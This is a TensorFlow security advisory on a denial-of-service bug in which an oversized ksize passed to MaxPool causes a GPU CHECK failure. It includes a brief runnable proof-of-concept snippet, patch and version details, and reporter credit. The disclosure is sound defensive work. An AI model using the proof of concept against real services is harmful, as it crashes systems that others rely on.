When MaxPool
receives a window size input array ksize
with dimensions greater than its input tensor input
, the GPU kernel gives a CHECK
fail that can be used to trigger a denial of service attack.
import tensorflow as tf
import numpy as np
input = np.ones([1, 1, 1, 1])
ksize = [1, 1, 2, 2]
strides = [1, 1, 1, 1]
padding = 'VALID'
data_format = 'NCHW'
tf.raw_ops.MaxPool(input=input, ksize=ksize, strides=strides, padding=padding, data_format=data_format)
We have patched the issue in GitHub commit 32d7bd3defd134f21a4e344c8dfd40099aaf6b18.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Jingyi Shi.